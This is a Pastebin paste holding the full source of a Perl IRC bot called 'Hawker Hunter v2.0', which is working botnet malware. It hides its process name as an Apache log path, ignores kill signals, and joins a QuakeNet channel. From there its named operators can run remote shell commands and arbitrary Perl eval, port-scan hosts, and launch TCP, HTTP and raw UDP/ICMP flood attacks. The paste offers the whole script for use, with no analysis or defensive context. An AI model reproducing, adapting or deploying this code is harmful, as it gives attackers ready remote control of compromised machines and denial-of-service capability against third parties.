Advertisement
Guest User

Alex

a guest
Jun 5th, 2010
980
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.67 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ####################################################
  3. # Hawker Hunter v2.0 (ARZ Co. Ltd.) Legacy 2009(c) #
  4. ####################################################
  5.  
  6. #############CONF###################################
  7. my $hidden = '/usr/sbin/apache/log';
  8. my $linas_max='4';
  9. my $sleep='5';
  10. my @admins=("XphaN","SpecialsK");
  11. my @hostauth=("rgietngeg.users.quakenet.org");
  12. my @channels=("#Mojito");
  13. my $nick='MitConfig';
  14. my $ircname ='xphaned';
  15. my $realname = 'i like this shit';
  16. my $server='irc.quakenet.org';
  17. my $port='6667';
  18. ####################################################
  19. ###########theRe we Go##############################
  20. $SIG{'INT'} = 'IGNORE';
  21. $SIG{'HUP'} = 'IGNORE';
  22. $SIG{'TERM'} = 'IGNORE';
  23. $SIG{'CHLD'} = 'IGNORE';
  24. $SIG{'PS'} = 'IGNORE';
  25. use IO::Socket;
  26. use Socket;
  27. use IO::Select;
  28. chdir("/");
  29. $0="$hidden"."\0"x16;;
  30. my $pid=fork;
  31. exit if $pid;
  32. die "fork problem: $!" unless defined($pid);
  33.  
  34. our %irc_servers;
  35. our %DCC;
  36. my $dcc_sel = new IO::Select->new();
  37.  
  38. $sel_cliente = IO::Select->new();
  39. sub sendraw {
  40. if ($#_ == '1') {
  41. my $socket = $_[0];
  42. print $socket "$_[1]\n";
  43. } else {
  44. print $IRC_cur_socket "$_[0]\n";
  45. }
  46. }
  47.  
  48. sub conectar {
  49. my $meunick = $_[0];
  50. my $server_con = $_[1];
  51. my $port_con = $_[2];
  52.  
  53. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1);
  54. if (defined($IRC_socket)) {
  55. $IRC_cur_socket = $IRC_socket;
  56.  
  57. $IRC_socket->autoflush(1);
  58. $sel_cliente->add($IRC_socket);
  59.  
  60. $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  61. $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  62. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  63. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  64. nick("$meunick");
  65. sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  66. sleep 1;
  67. }
  68. }
  69. my $line_temp;
  70. while( 1 ) {
  71. while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  72. delete($irc_servers{''}) if (defined($irc_servers{''}));
  73. my @ready = $sel_cliente->can_read(0);
  74. next unless(@ready);
  75. foreach $fh (@ready) {
  76. $IRC_cur_socket = $fh;
  77. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  78. $nread = sysread($fh, $msg, 4096);
  79. if ($nread == 0) {
  80. $sel_cliente->remove($fh);
  81. $fh->close;
  82. delete($irc_servers{$fh});
  83. }
  84. @lines = split (/\n/, $msg);
  85.  
  86. for(my $c=0; $c<= $#lines; $c++) {
  87. $line = $lines[$c];
  88. $line=$line_temp.$line if ($line_temp);
  89. $line_temp='';
  90. $line =~ s/\r$//;
  91. unless ($c == $#lines) {
  92. parse("$line");
  93. } else {
  94. if ($#lines == 0) {
  95. parse("$line");
  96. } elsif ($lines[$c] =~ /\r$/) {
  97. parse("$line");
  98. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  99. parse("$line");
  100. } else {
  101. $line_temp = $line;
  102. }
  103. }
  104. }
  105. }
  106. }
  107.  
  108. sub parse {
  109. my $servarg = shift;
  110. if ($servarg =~ /^PING \:(.*)/) {
  111. sendraw("PONG :$1");
  112. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  113. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  114. if ($args =~ /^\001VERSION\001$/) {
  115. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  116. }
  117. if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  118. if (grep {$_ =~ /^\Q$pn\E$/i } @admins) {
  119. if ($onde eq "$meunick"){
  120. shell("$pn", "$args");
  121. }
  122. if ($args =~ /^(\Q$meunick\E|\!zax)\s+(.*)/ ) {
  123. my $natrix = $1;
  124. my $arg = $2;
  125. if ($arg =~ /^\!(.*)/) {
  126. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  127. } elsif ($arg =~ /^\@(.*)/) {
  128. $ondep = $onde;
  129. $ondep = $pn if $onde eq $meunick;
  130. bfunc("$ondep","$1");
  131. } else {
  132. shell("$onde", "$arg");
  133. }
  134. }
  135. }
  136. }
  137. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  138. if (lc($1) eq lc($meunick)) {
  139. $meunick=$4;
  140. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  141. }
  142. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  143. nick("$meunick-".int rand(999999));
  144. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  145. $meunick = $2;
  146. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  147. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  148. foreach my $channel (@channels) {
  149. sendraw("JOIN $channel hawker");
  150. }
  151. }
  152. }
  153.  
  154.  
  155. sub bfunc {
  156. my $printl = $_[0];
  157. my $funcarg = $_[1];
  158. if (my $pid = fork) {
  159. waitpid($pid, 0);
  160. } else {
  161. if (fork) {
  162. exit;
  163. } else {
  164. if ($funcarg =~ /^portscan (.*)/) {
  165. my $hostip="$1";
  166. my @ports=("21","22","23","25","80","113","135","443","445","5900","5901","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","1080");
  167. my (@aberta, %port_banner);
  168. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR] 3Scanning4 ".$1." for open ports.");
  169. foreach my $port (@ports) {
  170. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto => 'tcp', Timeout => 4);
  171. if ($scansock) {
  172. push (@aberta, $port);
  173. $scansock->close;
  174. }
  175. }
  176.  
  177. if (@aberta) {
  178. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR] 3Open port(s)4: @aberta");
  179. } else {
  180. sendraw($IRC_cur_socket,"PRIVMSG $printl :[2hawkeR hunteR]3 No open ports found4!");
  181. }
  182. }
  183. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  184. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 TCP Attacking4 ".$1.":".$2." 3for4 ".$3." 3seconds.");
  185. my $itime = time;
  186. my ($cur_time);
  187. $cur_time = time - $itime;
  188. while ($3>$cur_time){
  189. $cur_time = time - $itime;
  190. &tcpflooder("$1","$2","$3");
  191. }
  192. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 TCP Attack done 4".$1.":".$2.".");
  193. }
  194.  
  195. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  196. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 HTTP Attacking4 ".$1." 3for4 ".$2." 3seconds.");
  197. my $itime = time;
  198. my ($cur_time);
  199. $cur_time = time - $itime;
  200. while ($2>$cur_time){
  201. $cur_time = time - $itime;
  202. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  203. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  204. close($socket);
  205. }
  206. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3HTTP Attacking done ".$1.".");
  207. }
  208. ##########UDP-1#############################################
  209. if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  210. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 UDP Attacking4 ".$1." 3with4 ".$2." 3KB(s) for4 ".$3." 3seconds.");
  211. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  212. $dtime = 1 if $dtime == 0;
  213. my %bytes;
  214. $bytes{igmp} = $2 * $pacotes{igmp};
  215. $bytes{icmp} = $2 * $pacotes{icmp};
  216. $bytes{o} = $2 * $pacotes{o};
  217. $bytes{udp} = $2 * $pacotes{udp};
  218. $bytes{tcp} = $2 * $pacotes{tcp};
  219. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 UDP Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 3Kb in4 ".$dtime." 3seconds to ".$1.".");
  220. }
  221. ##########UDP-2#############################################
  222. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)\s+(\d+)/) {
  223. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 UDP2 Attacking4 ".$1.":".$4." 3with4 ".$2." 3KB(s) for4 ".$3." 3seconds.");
  224. my ($dtime, %pacotes) = udpflooder2("$1", "$2", "$3","$4");
  225. $dtime = 1 if $dtime == 0;
  226. my %bytes;
  227. $bytes{igmp} = $2 * $pacotes{igmp};
  228. $bytes{icmp} = $2 * $pacotes{icmp};
  229. $bytes{o} = $2 * $pacotes{o};
  230. $bytes{udp} = $2 * $pacotes{udp};
  231. $bytes{tcp} = $2 * $pacotes{tcp};
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :[2hawkeR hunteR]3 UDP Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 3Kb in4 ".$dtime." 3seconds to ".$1.".");
  233. }
  234. ############################################################
  235. exit;
  236. }
  237. }
  238. }
  239.  
  240. sub ircase {
  241. my ($kem, $printl, $case) = @_;
  242.  
  243. if ($case =~ /^join (.*)/) {
  244. j("$1");
  245. }
  246. if ($case =~ /^part (.*)/) {
  247. p("$1");
  248. }
  249. if ($case =~ /^rejoin\s+(.*)/) {
  250. my $chan = $1;
  251. if ($chan =~ /^(\d+) (.*)/) {
  252. for (my $ca = 1; $ca <= $1; $ca++ ) {
  253. p("$2");
  254. j("$2");
  255. }
  256. } else {
  257. p("$chan");
  258. j("$chan");
  259. }
  260. }
  261. if ($case =~ /^op/) {
  262. op("$printl", "$kem") if $case eq "op";
  263. my $oarg = substr($case, 3);
  264. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  265. }
  266. if ($case =~ /^deop/) {
  267. deop("$printl", "$kem") if $case eq "deop";
  268. my $oarg = substr($case, 5);
  269. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  270. }
  271. if ($case =~ /^msg\s+(\S+) (.*)/) {
  272. msg("$1", "$2");
  273. }
  274. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  275. for (my $cf = 1; $cf <= $1; $cf++) {
  276. msg("$2", "$3");
  277. }
  278. }
  279. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  280. ctcp("$1", "$2");
  281. }
  282. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  283. for (my $cf = 1; $cf <= $1; $cf++) {
  284. ctcp("$2", "$3");
  285. }
  286. }
  287. if ($case =~ /^nick (.*)/) {
  288. nick("$1");
  289. }
  290. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  291. conectar("$2", "$1", 6667);
  292. }
  293. if ($case =~ /^raw (.*)/) {
  294. sendraw("$1");
  295. }
  296. if ($case =~ /^eval (.*)/) {
  297. eval "$1";
  298. }
  299. }
  300.  
  301. sub shell {
  302. my $printl=$_[0];
  303. my $comando=$_[1];
  304. if ($comando =~ /cd (.*)/) {
  305. chdir("$1") || msg("$printl", "No such file or directory");
  306. return;
  307. }
  308. elsif ($pid = fork) {
  309. waitpid($pid, 0);
  310. } else {
  311. if (fork) {
  312. exit;
  313. } else {
  314. my @resp=`$comando 2>&1 3>&1`;
  315. my $c=0;
  316. foreach my $linha (@resp) {
  317. $c++;
  318. chop $linha;
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  320. if ($c == "$linas_max") {
  321. $c=0;
  322. sleep $sleep;
  323. }
  324. }
  325. exit;
  326. }
  327. }
  328. }
  329.  
  330. sub tcpflooder {
  331. my $itime = time;
  332. my ($cur_time);
  333. my ($ia,$pa,$proto,$j,$l,$t);
  334. $ia=inet_aton($_[0]);
  335. $pa=sockaddr_in($_[1],$ia);
  336. $ftime=$_[2];
  337. $proto=getprotobyname('tcp');
  338. $j=0;$l=0;
  339. $cur_time = time - $itime;
  340. while ($l<1000){
  341. $cur_time = time - $itime;
  342. last if $cur_time >= $ftime;
  343. $t="SOCK$l";
  344. socket($t,PF_INET,SOCK_STREAM,$proto);
  345. connect($t,$pa)||$j--;
  346. $j++;$l++;
  347. }
  348. $l=0;
  349. while ($l<1000){
  350. $cur_time = time - $itime;
  351. last if $cur_time >= $ftime;
  352. $t="SOCK$l";
  353. shutdown($t,2);
  354. $l++;
  355. }
  356. }
  357.  
  358. sub udpflooder {
  359. my $iaddr = inet_aton($_[0]);
  360. my $msg = 'A' x $_[1];
  361. my $ftime = $_[2];
  362. my $cp = 0;
  363. my (%pacotes);
  364. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  365.  
  366. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  367. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  368. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  369. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  370. return(undef) if $cp == 4;
  371. my $itime = time;
  372. my ($cur_time);
  373. while ( 1 ) {
  374. for (my $port = 1; $port <= 65000; $port++) {
  375. $cur_time = time - $itime;
  376. last if $cur_time >= $ftime;
  377. send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  378. send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  379. send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  380. send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  381.  
  382. for (my $pc = 3; $pc <= 255;$pc++) {
  383. next if $pc == 6;
  384. $cur_time = time - $itime;
  385. last if $cur_time >= $ftime;
  386. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  387. send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  388. }
  389. }
  390. last if $cur_time >= $ftime;
  391. }
  392. return($cur_time, %pacotes);
  393. }
  394.  
  395. sub udpflooder2 {
  396. my $iaddr = inet_aton($_[0]);
  397. my $msg = 'A' x $_[1];
  398. my $ftime = $_[2];
  399. my $cp = 0;
  400. my $udpport = $_[3];
  401. my (%pacotes);
  402. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  403.  
  404. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  405. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  406. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  407. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  408. return(undef) if $cp == 4;
  409. my $itime = time;
  410. my ($cur_time);
  411. while ( 1 ) {
  412. $cur_time = time - $itime;
  413. last if $cur_time >= $ftime;
  414. send(SOCK1, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{igmp}++;
  415. send(SOCK2, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{udp}++;
  416. send(SOCK3, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{icmp}++;
  417. send(SOCK4, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{tcp}++;
  418.  
  419. for (my $pc = 3; $pc <= 255;$pc++) {
  420. next if $pc == 6;
  421. $cur_time = time - $itime;
  422. last if $cur_time >= $ftime;
  423. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  424. send(SOCK5, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{o}++;
  425. }
  426. last if $cur_time >= $ftime;
  427. }
  428. return($cur_time, %pacotes);
  429. }
  430. sub ctcp {
  431. return unless $#_ == 1;
  432. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  433. }
  434. sub msg {
  435. return unless $#_ == 1;
  436. sendraw("PRIVMSG $_[0] :$_[1]");
  437. }
  438. sub notice {
  439. return unless $#_ == 1;
  440. sendraw("NOTICE $_[0] :$_[1]");
  441. }
  442. sub op {
  443. return unless $#_ == 1;
  444. sendraw("MODE $_[0] +o $_[1]");
  445. }
  446. sub deop {
  447. return unless $#_ == 1;
  448. sendraw("MODE $_[0] -o $_[1]");
  449. }
  450. sub j { &join(@_); }
  451. sub join {
  452. return unless $#_ == 0;
  453. sendraw("JOIN $_[0]");
  454. }
  455. sub p { part(@_); }
  456. sub part {
  457. sendraw("PART $_[0]");
  458. }
  459. sub nick {
  460. return unless $#_ == 0;
  461. sendraw("NICK $_[0]");
  462. }
  463. sub quit {
  464. sendraw("QUIT :$_[0]");
  465. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement